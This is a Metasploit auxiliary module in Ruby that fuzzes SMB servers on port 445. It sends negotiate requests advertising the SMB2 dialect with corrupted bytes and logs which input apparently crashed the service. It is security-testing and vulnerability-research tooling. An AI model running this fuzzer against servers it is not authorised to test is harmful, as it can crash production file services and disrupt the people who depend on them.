##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Fuzzer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SMB Negotiate SMB2 Dialect Corruption',
			'Description'    => %q{
				This module sends a series of SMB negiotiate requests that advertise a
			SMB2 dialect with corrupted bytes.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE
		))
		register_options([
			Opt::RPORT(445),
			OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test'])
		], self.class)
	end

	def do_smb_negotiate(pkt,opts={})
		@connected = false
		connect
		@connected = true
		sock.put(pkt)
		sock.get_once(-1, opts[:timeout])
	end

	def run
		last_str = nil
		last_inp = nil
		last_err = nil

		pkt = make_smb_negotiate
		cnt = 0

		max = datastore['MAXDEPTH'].to_i
		max = nil if max == 0
		tot = ( max ? [max,pkt.length].min : pkt.length) * 256

		print_status("Fuzzing SMB negotiate packet with #{tot} requests")
		fuzz_string_corrupt_byte_reverse(pkt,max) do |str|
			cnt += 1

			if(cnt % 100 == 0)
				print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}")
			end

			begin
				r = do_smb_negotiate(str, 0.25)
			rescue ::Interrupt
				print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}")
				raise $!
			rescue ::Exception => e
				last_err = e
			ensure
				disconnect
			end

			if(not @connected)
				if(last_str)
					print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
				else
					print_status("Could not connect to the service: #{last_err}")
				end
				return
			end

			last_str = str
			last_inp = @last_fuzzer_input
		end
	end

	def make_smb_negotiate
		# The SMB 2 dialect must be there
		dialects = ['PC NETWORK PROGRAM 1.0', 'LANMAN1.0', 'Windows for Workgroups 3.1a', 'LM1.2X002', 'LANMAN2.1', 'NT LM 0.12', 'SMB 2.002']
		data     = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')

		pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
		pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
		pkt['Payload']['SMB'].v['Flags1'] = 0x18
		pkt['Payload']['SMB'].v['Flags2'] = 0xc853
		pkt['Payload'].v['Payload']       = data
		pkt.to_s
	end
end
